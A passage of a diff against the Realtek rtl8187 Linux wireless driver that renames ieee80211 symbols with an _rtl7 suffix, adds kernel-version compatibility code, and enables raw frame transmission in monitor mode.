ARPHRD_IEEE80211_PRISM; }else{ ieee->dev->type = ARPHRD_ETHER; } - + if (!ieee->proto_started){ ieee->iw_mode = wrqu->mode; }else{ - ieee80211_stop_protocol(ieee); + ieee80211_stop_protocol_rtl7(ieee); ieee->iw_mode = wrqu->mode; - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); + } + + if(ieee->iw_mode == IW_MODE_MONITOR) + { + ieee->raw_tx = 1; + if(prev == 0 && ieee->raw_tx){ + if (ieee->data_hard_resume) + ieee->data_hard_resume(ieee->dev); + + netif_carrier_on(ieee->dev); + } + + netif_carrier_on(ieee->dev); + } + else + { + ieee->raw_tx = 0; } out: @@ -264,120 +281,132 @@ return 0; } -void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work) { + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, wx_sync_scan_wq); +#else +void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif short chan; chan = ieee->current_network.channel; - + netif_carrier_off(ieee->dev); - + if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - - ieee80211_stop_send_beacons(ieee); - + + ieee80211_stop_send_beacons_rtl7(ieee); + ieee->state = IEEE80211_LINKED_SCANNING; ieee->link_change(ieee->dev); - - ieee80211_start_scan_syncro(ieee); - + + ieee80211_start_scan_syncro_rtl7(ieee); + ieee->set_chan(ieee->dev, chan); - + ieee->state = IEEE80211_LINKED; ieee->link_change(ieee->dev); - + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + if(ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) - ieee80211_start_send_beacons(ieee); - + ieee80211_start_send_beacons_rtl7(ieee); + netif_carrier_on(ieee->dev); - + up(&ieee->wx_sem); - + } -int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret = 0; - + down(&ieee->wx_sem); - - if (ieee->iw_mode == IW_MODE_MONITOR || !(ieee->proto_started)){ + + if (ieee->iw_mode == IW_MODE_MONITOR || !(ieee->proto_started)){ ret = -1; goto out; } - + if ( ieee->state == IEEE80211_LINKED){ queue_work(ieee->wq, &ieee->wx_sync_scan_wq); /* intentionally forget to up sem */ return 0; } - + out: up(&ieee->wx_sem); return ret; } -int ieee80211_wx_set_essid(struct ieee80211_device *ieee, +int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra) { - + int ret=0,len; short proto_started; unsigned long flags; - + ieee->sync_scan_hurryup = 1; - + down(&ieee->wx_sem); - + proto_started = ieee->proto_started; - + if (wrqu->essid.length > IW_ESSID_MAX_SIZE){ ret= -E2BIG; goto out; } - + if (ieee->iw_mode == IW_MODE_MONITOR){ ret= -1; goto out; } - + if(proto_started) - ieee80211_stop_protocol(ieee); - + ieee80211_stop_protocol_rtl7(ieee); + /* this is just to be sure that the GET wx callback * has consisten infos. not needed otherwise */ spin_lock_irqsave(&ieee->lock, flags); - + if (wrqu->essid.flags && wrqu->essid.length) { +#if WIRELESS_EXT > 20 + len = min((int)wrqu->essid.length, IW_ESSID_MAX_SIZE); +#else len = ((wrqu->essid.length-1) < IW_ESSID_MAX_SIZE) ? (wrqu->essid.length-1) : IW_ESSID_MAX_SIZE; - +#endif + strncpy(ieee->current_network.ssid, extra, len); ieee->current_network.ssid_len = len; ieee->ssid_set = 1; } - else{ + else{ ieee->ssid_set = 0; ieee->current_network.ssid[0] = '\0'; ieee->current_network.ssid_len = 0; } - + spin_unlock_irqrestore(&ieee->lock, flags); - + if (proto_started) - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); out: up(&ieee->wx_sem); + + return ret; } - int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { @@ -385,23 +414,23 @@ return 0; } - int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, - struct iw_request_info *info, + int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - + int *parms = (int *)extra; int enable = (parms[0] > 0); short prev = ieee->raw_tx; down(&ieee->wx_sem); - - if(enable) + + if(enable) ieee->raw_tx = 1; - else + else ieee->raw_tx = 0; - printk(KERN_INFO"raw TX is %s\n", + printk(KERN_INFO"raw TX is %s\n", ieee->raw_tx ? "enabled" : "disabled"); if(ieee->iw_mode == IW_MODE_MONITOR) @@ -409,21 +438,21 @@ if(prev == 0 && ieee->raw_tx){ if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - - netif_carrier_on(ieee->dev); + + netif_carrier_on(ieee->dev); } - + if(prev && ieee->raw_tx == 1) - netif_carrier_off(ieee->dev); + netif_carrier_off(ieee->dev); } - + up(&ieee->wx_sem); - + return 0; } - -int ieee80211_wx_get_name(struct ieee80211_device *ieee, - struct iw_request_info *info, + +int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { strcpy(wrqu->name, "802.11"); @@ -433,20 +462,20 @@ strcat(wrqu->name, "/g"); }else if(ieee->modulation & IEEE80211_OFDM_MODULATION) strcat(wrqu->name, "g"); - - if((ieee->state == IEEE80211_LINKED) || + + if((ieee->state == IEEE80211_LINKED) || (ieee->state == IEEE80211_LINKED_SCANNING)) strcat(wrqu->name," linked"); else if(ieee->state != IEEE80211_NOLINK) strcat(wrqu->name," link.."); - - + + return 0; } /* this is mostly stolen from hostap */ -int ieee80211_wx_set_power(struct ieee80211_device *ieee, +int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -457,50 +486,50 @@ (!ieee->ps_request_tx_ack) || (!ieee->enter_sleep_state) || (!ieee->ps_is_queue_empty)){ - + printk("ERROR. PS mode is tryied to be use but\ -driver missed a callback\n\n"); - +driver missed a callback\n\n"); + return -1; } - + down(&ieee->wx_sem); - + if (wrqu->power.disabled){ ieee->ps = IEEE80211_PS_DISABLED; - + goto exit; } switch (wrqu->power.flags & IW_POWER_MODE) { case IW_POWER_UNICAST_R: ieee->ps = IEEE80211_PS_UNICAST; - + break; case IW_POWER_ALL_R: - ieee->ps = IEEE80211_PS_UNICAST | IEEE80211_PS_MBCAST; + ieee->ps = IEEE80211_PS_UNICAST | IEEE80211_PS_MBCAST; break; - + case IW_POWER_ON: ieee->ps = IEEE80211_PS_DISABLED; break; - + default: ret = -EINVAL; goto exit; } if (wrqu->power.flags & IW_POWER_TIMEOUT) { - + ieee->ps_timeout = wrqu->power.value / 1000; printk("Timeout %d\n",ieee->ps_timeout); } - + if (wrqu->power.flags & IW_POWER_PERIOD) { - + ret = -EOPNOTSUPP; goto exit; //wrq->value / 1024; - + } exit: up(&ieee->wx_sem); @@ -509,15 +538,15 @@ } /* this is stolen from hostap */ -int ieee80211_wx_get_power(struct ieee80211_device *ieee, +int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { int ret =0; - + down(&ieee->wx_sem); - - if(ieee->ps == IEEE80211_PS_DISABLED){ + + if(ieee->ps == IEEE80211_PS_DISABLED){ wrqu->power.disabled = 1; goto exit; } @@ -547,19 +576,19 @@ } -EXPORT_SYMBOL(ieee80211_wx_get_essid); -EXPORT_SYMBOL(ieee80211_wx_set_essid); -EXPORT_SYMBOL(ieee80211_wx_set_rate); -EXPORT_SYMBOL(ieee80211_wx_get_rate); -EXPORT_SYMBOL(ieee80211_wx_set_wap); -EXPORT_SYMBOL(ieee80211_wx_get_wap); -EXPORT_SYMBOL(ieee80211_wx_set_mode); -EXPORT_SYMBOL(ieee80211_wx_get_mode); -EXPORT_SYMBOL(ieee80211_wx_set_scan); -EXPORT_SYMBOL(ieee80211_wx_get_freq); -EXPORT_SYMBOL(ieee80211_wx_set_freq); -EXPORT_SYMBOL(ieee80211_wx_set_rawtx); -EXPORT_SYMBOL(ieee80211_wx_get_name); -EXPORT_SYMBOL(ieee80211_wx_set_power); -EXPORT_SYMBOL(ieee80211_wx_get_power); -EXPORT_SYMBOL(ieee80211_wlan_frequencies); +EXPORT_SYMBOL(ieee80211_wx_get_essid_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_essid_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_rate_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_rate_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_wap_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_wap_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_mode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_mode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_scan_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_freq_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_freq_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_rawtx_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_name_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_power_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_power_rtl7); +EXPORT_SYMBOL(ieee80211_wlan_frequencies_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_tx.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_tx.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_tx.c 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_tx.c 2008-01-30 17:38:11.000000000 +0100 @@ -24,15 +24,14 @@ ****************************************************************************** - Few modifications for Realtek's Wi-Fi drivers by + Few modifications for Realtek's Wi-Fi drivers by Andrea Merello - - A special thanks goes to Realtek for their support ! + + A special thanks goes to Realtek for their support ! ******************************************************************************/ #include -#include #include #include #include @@ -52,6 +51,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" @@ -155,7 +160,7 @@ static u8 P802_1H_OUI[P80211_OUI_LEN] = { 0x00, 0x00, 0xf8 }; static u8 RFC1042_OUI[P80211_OUI_LEN] = { 0x00, 0x00, 0x00 }; -static inline int ieee80211_put_snap(u8 *data, u16 h_proto) +static inline int ieee80211_put_snap_rtl7(u8 *data, u16 h_proto) { struct ieee80211_snap_hdr *snap; u8 *oui; @@ -178,7 +183,7 @@ return SNAP_SIZE + sizeof(u16); } -int ieee80211_encrypt_fragment( +int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len) @@ -225,7 +230,7 @@ } -void ieee80211_txb_free(struct ieee80211_txb *txb) { +void ieee80211_txb_free_rtl7(struct ieee80211_txb *txb) { int i; if (unlikely(!txb)) return; @@ -235,7 +240,7 @@ kfree(txb); } -struct ieee80211_txb *ieee80211_alloc_txb(int nr_frags, int txb_size, +struct ieee80211_txb *ieee80211_alloc_txb_rtl7(int nr_frags, int txb_size, int gfp_mask) { struct ieee80211_txb *txb; @@ -267,7 +272,7 @@ } /* SKBs are added to the ieee->tx_queue. */ -int ieee80211_xmit(struct sk_buff *skb, +int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev) { struct ieee80211_device *ieee = netdev_priv(dev); @@ -299,27 +304,27 @@ } if(likely(ieee->raw_tx == 0)){ - + if (unlikely(skb->len < SNAP_SIZE + sizeof(u16))) { printk(KERN_WARNING "%s: skb too small (%d).\n", ieee->dev->name, skb->len); goto success; } - - + + ether_type = ntohs(((struct ethhdr *)skb->data)->h_proto); - + crypt = ieee->crypt[ieee->tx_keyidx]; - + encrypt = !(ether_type == ETH_P_PAE && ieee->ieee802_1x) && ieee->host_encrypt && crypt && crypt->ops; - + if (!encrypt && ieee->ieee802_1x && ieee->drop_unencrypted && ether_type != ETH_P_PAE) { stats->tx_dropped++; goto success; } - + #ifdef CONFIG_IEEE80211_DEBUG if (crypt && !encrypt && ether_type == ETH_P_PAE) { struct eapol *eap = (struct eapol *)(skb->data + @@ -328,23 +333,23 @@ eap_get_type(eap->type)); } #endif - + /* Save source and destination addresses */ memcpy(&dest, skb->data, ETH_ALEN); memcpy(&src, skb->data+ETH_ALEN, ETH_ALEN); - + /* Advance the SKB to the start of the payload */ skb_pull(skb, sizeof(struct ethhdr)); - + /* Determine total amount of storage required for TXB packets */ bytes = skb->len + SNAP_SIZE + sizeof(u16); - + if (encrypt) fc = IEEE80211_FTYPE_DATA | IEEE80211_STYPE_DATA | IEEE80211_FCTL_WEP; else fc = IEEE80211_FTYPE_DATA | IEEE80211_STYPE_DATA; - + if (ieee->iw_mode == IW_MODE_INFRA) { fc |= IEEE80211_FCTL_TODS; /* To DS: Addr1 = BSSID, Addr2 = SA, @@ -360,9 +365,9 @@ memcpy(&header.addr3, ieee->current_network.bssid, ETH_ALEN); } header.frame_ctl = cpu_to_le16(fc); - + hdr_len = IEEE80211_3ADDR_LEN; - + /* Determine fragmentation size based on destination (multicast * and broadcast are not fragmented) */ if (is_multicast_ether_addr(dest) || @@ -370,7 +375,7 @@ frag_size = MAX_FRAG_THRESHOLD; else frag_size = ieee->fts; - + /* Determine amount of payload per fragment. Regardless of if * this stack is providing the full 802.11 header, one will * eventually be affixed to this fragment -- so we must account for @@ -379,12 +384,12 @@ if (ieee->config & (CFG_IEEE80211_COMPUTE_FCS | CFG_IEEE80211_RESERVE_FCS)) bytes_per_frag -= IEEE80211_FCS_LEN; - + /* Each fragment may need to have room for encryptiong pre/postfix */ if (encrypt) bytes_per_frag -= crypt->ops->extra_prefix_len + crypt->ops->extra_postfix_len; - + /* Number of fragments is the total bytes_per_frag / * payload_per_fragment */ nr_frags = bytes / bytes_per_frag; @@ -393,11 +398,11 @@ nr_frags++; else bytes_last_frag = bytes_per_frag; - + /* When we allocate the TXB we allocate enough space for the reserve * and full fragment bytes (bytes_per_frag doesn't include prefix, * postfix, header, FCS, etc.) */ - txb = ieee80211_alloc_txb(nr_frags, frag_size, GFP_ATOMIC); + txb = ieee80211_alloc_txb_rtl7(nr_frags, frag_size, GFP_ATOMIC); if (unlikely(!txb)) { printk(KERN_WARNING "%s: Could not allocate TXB\n", ieee->dev->name); @@ -405,93 +410,94 @@ } txb->encrypted = encrypt; txb->payload_size = bytes; - + for (i = 0; i < nr_frags; i++) { skb_frag = txb->fragments[i]; - + if (encrypt) skb_reserve(skb_frag, crypt->ops->extra_prefix_len); - + frag_hdr = (struct ieee80211_hdr *)skb_put(skb_frag, hdr_len); memcpy(frag_hdr, &header, hdr_len); - + /* If this is not the last fragment, then add the MOREFRAGS * bit to the frame control */ if (i != nr_frags - 1) { frag_hdr->frame_ctl = cpu_to_le16( fc | IEEE80211_FCTL_MOREFRAGS); bytes = bytes_per_frag; - + } else { /* The last fragment takes the remaining length */ bytes = bytes_last_frag; } - + frag_hdr->seq_ctl = cpu_to_le16(ieee->seq_ctrl<<4 | i); - - + + /* Put a SNAP header on the first fragment */ if (i == 0) { - ieee80211_put_snap( + ieee80211_put_snap_rtl7( skb_put(skb_frag, SNAP_SIZE + sizeof(u16)), ether_type); bytes -= SNAP_SIZE + sizeof(u16); } - + memcpy(skb_put(skb_frag, bytes), skb->data, bytes); - + /* Advance the SKB... */ skb_pull(skb, bytes); - + /* Encryption routine will move the header forward in order * to insert the IV between the header and the payload */ if (encrypt) - ieee80211_encrypt_fragment(ieee, skb_frag, hdr_len); + ieee80211_encrypt_fragment_rtl7(ieee, skb_frag, hdr_len); if (ieee->config & (CFG_IEEE80211_COMPUTE_FCS | CFG_IEEE80211_RESERVE_FCS)) skb_put(skb_frag, 4); } - // Advance sequence number in data frame. + // Advance sequence number in data frame. if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; //--- }else{ - if (unlikely(skb->len < sizeof(struct ieee80211_hdr_3addr))) { +// if (unlikely(skb->len < sizeof(struct ieee80211_hdr_3addr))) { + if (unlikely(skb->len < 14)) { printk(KERN_WARNING "%s: skb too small (%d).\n", ieee->dev->name, skb->len); goto success; } - - txb = ieee80211_alloc_txb(1, skb->len, GFP_ATOMIC); + + txb = ieee80211_alloc_txb_rtl7(1, skb->len, GFP_ATOMIC); if(!txb){ printk(KERN_WARNING "%s: Could not allocate TXB\n", ieee->dev->name); goto failed; } - + txb->encrypted = 0; txb->payload_size = skb->len; memcpy(skb_put(txb->fragments[0],skb->len), skb->data, skb->len); - } + } success: spin_unlock_irqrestore(&ieee->lock, flags); dev_kfree_skb_any(skb); if (txb) { if (ieee->softmac_features & IEEE_SOFTMAC_TX_QUEUE){ - ieee80211_softmac_xmit(txb, ieee); + ieee80211_softmac_xmit_rtl7(txb, ieee); }else{ if ((*ieee->hard_start_xmit)(txb, dev) == 0) { stats->tx_packets++; stats->tx_bytes += txb->payload_size; return 0; } - ieee80211_txb_free(txb); + ieee80211_txb_free_rtl7(txb); } - - + + } return 0; @@ -504,4 +510,4 @@ } -EXPORT_SYMBOL(ieee80211_txb_free); +EXPORT_SYMBOL(ieee80211_txb_free_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_wx.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_wx.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_wx.c 2006-06-06 04:57:56.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_wx.c 2008-01-30 17:38:11.000000000 +0100 @@ -40,7 +40,7 @@ }; #define MAX_CUSTOM_LEN 64 -static inline char *ipw2100_translate_scan(struct ieee80211_device *ieee, +static inline char *ipw2100_translate_scan_rtl7(struct ieee80211_device *ieee, char *start, char *stop, struct ieee80211_network *network) { @@ -207,7 +207,7 @@ return start; } -int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -220,13 +220,14 @@ IEEE80211_DEBUG_WX("Getting scan\n"); down(&ieee->wx_sem); + printk("GOT WX GET SCAN WX_SEM LOCK"); spin_lock_irqsave(&ieee->lock, flags); list_for_each_entry(network, &ieee->network_list, list) { i++; if (ieee->scan_age == 0 || time_after(network->last_scanned + ieee->scan_age, jiffies)) - ev = ipw2100_translate_scan(ieee, ev, stop, network); + ev = ipw2100_translate_scan_rtl7(ieee, ev, stop, network); else IEEE80211_DEBUG_SCAN( "Not showing network '%s (" @@ -247,7 +248,7 @@ return 0; } -int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *keybuf) { @@ -259,6 +260,9 @@ int i, key, key_provided, len; struct ieee80211_crypt_data **crypt; + if (erq->flags & IW_ENCODE_RESTRICTED) + return -EINVAL; + IEEE80211_DEBUG_WX("SET_ENCODE\n"); key = erq->flags & IW_ENCODE_INDEX; @@ -281,7 +285,7 @@ if (key_provided && *crypt) { IEEE80211_DEBUG_WX("Disabling encryption on key %d.\n", key); - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } else IEEE80211_DEBUG_WX("Disabling encryption.\n"); @@ -291,7 +295,7 @@ if (ieee->crypt[i] != NULL) { if (key_provided) break; - ieee80211_crypt_delayed_deinit( + ieee80211_crypt_delayed_deinit_rtl7( ieee, &ieee->crypt[i]); } } @@ -314,7 +318,7 @@ strcmp((*crypt)->ops->name, "WEP") != 0) { /* changing to use WEP; deinit previously used algorithm * on this key */ - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } if (*crypt == NULL) { @@ -326,10 +330,10 @@ if (new_crypt == NULL) return -ENOMEM; memset(new_crypt, 0, sizeof(struct ieee80211_crypt_data)); - new_crypt->ops = ieee80211_get_crypto_ops("WEP"); + new_crypt->ops = ieee80211_get_crypto_ops_rtl7("WEP"); if (!new_crypt->ops) { - request_module("ieee80211_crypt_wep"); - new_crypt->ops = ieee80211_get_crypto_ops("WEP"); + request_module("ieee80211_crypt_wep_rtl"); + new_crypt->ops = ieee80211_get_crypto_ops_rtl7("WEP"); } if (new_crypt->ops && try_module_get(new_crypt->ops->owner)) @@ -340,7 +344,7 @@ new_crypt = NULL; printk(KERN_WARNING "%s: could not initialize WEP: " - "load module ieee80211_crypt_wep\n", + "load module ieee80211_crypt_wep_rtl\n", dev->name); return -EOPNOTSUPP; } @@ -418,7 +422,7 @@ return 0; } -int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *keybuf) { @@ -430,7 +434,7 @@ if(ieee->iw_mode == IW_MODE_MONITOR) return -1; - + key = erq->flags & IW_ENCODE_INDEX; if (key) { if (key > WEP_KEYS) @@ -470,6 +474,6 @@ } -EXPORT_SYMBOL(ieee80211_wx_get_scan); -EXPORT_SYMBOL(ieee80211_wx_set_encode); -EXPORT_SYMBOL(ieee80211_wx_get_encode); +EXPORT_SYMBOL(ieee80211_wx_get_scan_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_encode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_encode_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/Makefile rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/Makefile --- rtl8187_linux_26.1010.0622.2006/ieee80211/Makefile 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/Makefile 2008-01-30 17:38:11.000000000 +0100 @@ -17,6 +17,7 @@ KVER := $(shell uname -r) KSRC := /lib/modules/$(KVER)/build INSTALL_PREFIX := +PWD = $(shell pwd) all: modules diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/Modules.symvers rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/Modules.symvers --- rtl8187_linux_26.1010.0622.2006/ieee80211/Modules.symvers 2006-06-06 04:57:56.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/Modules.symvers 1970-01-01 01:00:00.000000000 +0100 @@ -1,43 +0,0 @@ -0x232e7944 ieee80211_wlan_frequencies /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xaeae102f free_ieee80211_rtl /usr/rtl8187_linux_2.6_05312006/ieee80211/ieee80211-rtl -0x279e265f ieee80211_crypt_deinit_handler net/ieee80211/ieee80211_crypt -0xc2411d91 ieee80211_stop_queue /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6ece20e1 ieee80211_wx_get_name_rtl /usr/rtl8187_linux_2.6_05312006/ieee80211/ieee80211-rtl -0x5d3847ff ieee80211_rx_rtl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x18612027 ieee80211_wx_get_scan_rtl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xa0e03ce1 ieee80211_wx_get_name /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xee25f349 ieee80211_wx_get_mode /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x86013c3d ieee80211_wx_set_mode /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x04493cc0 ieee80211_wx_get_rate /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6c6df3b4 ieee80211_wx_set_rate /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x82caec02 ieee80211_crypt_deinit_entries net/ieee80211/ieee80211_crypt -0x347945bf ieee80211_wx_get_power /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6379d455 ieee80211_wx_set_power /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xae62ed59 ieee80211_wx_set_scan /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6621e172 ieee80211_wx_set_freq /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x0e052e06 ieee80211_wx_get_freq /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x283f9f5d ieee80211_unregister_crypto_ops net/ieee80211/ieee80211_crypt -0x9da79aac ieee80211_is_shortslot /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x666032dc ieee80211_wx_get_wap /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x9f1cbe0e ieee80211_wx_set_wap /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x73d1d341 ieee80211_wx_set_rawtx /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x2c714184 ieee80211_is_54g /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6892d598 ieee80211_wpa_supplicant_ioctl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xc062f1f5 ieee80211_ps_tx_ack /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x55534906 ieee80211_get_beacon /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xe2679638 ieee80211_crypt_delayed_deinit net/ieee80211/ieee80211_crypt -0x3a0456bc free_ieee80211 net/ieee80211/ieee80211 -0x7e1ef2c8 ieee80211_wake_queue /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xc1b81e9f ieee80211_register_crypto_ops net/ieee80211/ieee80211_crypt -0x3f795a39 alloc_ieee80211 net/ieee80211/ieee80211 -0x89803c23 ieee80211_get_crypto_ops net/ieee80211/ieee80211_crypt -0xc6caf2a4 ieee80211_txb_free net/ieee80211/ieee80211 -0x49c1422c ieee80211_rx_mgt net/ieee80211/ieee80211 -0xbf2b4ebd alloc_ieee80211_rtl /usr/rtl8187_linux_2.6_05312006/ieee80211/ieee80211-rtl -0xd155f7b8 ieee80211_softmac_stop_protocol /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x9ce2dcde ieee80211_softmac_start_protocol /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x00d74bba ieee80211_wx_get_encode_rtl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x92b5d996 ieee80211_wx_set_encode_rtl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x2ac9bf95 ieee80211_wx_set_essid /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x7dc92e7f ieee80211_wx_get_essid /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xd04740ca ieee80211_reset_queue /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/.tmp_versions/ieee80211_crypt_ccmp-rtl.mod rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/.tmp_versions/ieee80211_crypt_ccmp-rtl.mod --- rtl8187_linux_26.1010.0622.2006/ieee80211/.tmp_versions/ieee80211_crypt_ccmp-rtl.mod 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/.tmp_versions/ieee80211_crypt_ccmp-rtl.mod 2008-02-22 15:33:07.000000000 +0100 @@ -1,2 +1,2 @@ -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_crypt_ccmp-rtl.ko -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_crypt_ccmp.o +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_ccmp-rtl.ko +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_ccmp.o diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/.tmp_versions/ieee80211_crypt-rtl.mod rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/.tmp_versions/ieee80211_crypt-rtl.mod --- rtl8187_linux_26.1010.0622.2006/ieee80211/.tmp_versions/ieee80211_crypt-rtl.mod 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/.tmp_versions/ieee80211_crypt-rtl.mod 2008-02-22 15:33:07.000000000 +0100 @@ -1,2 +1,2 @@ -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_crypt-rtl.ko -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_crypt.o 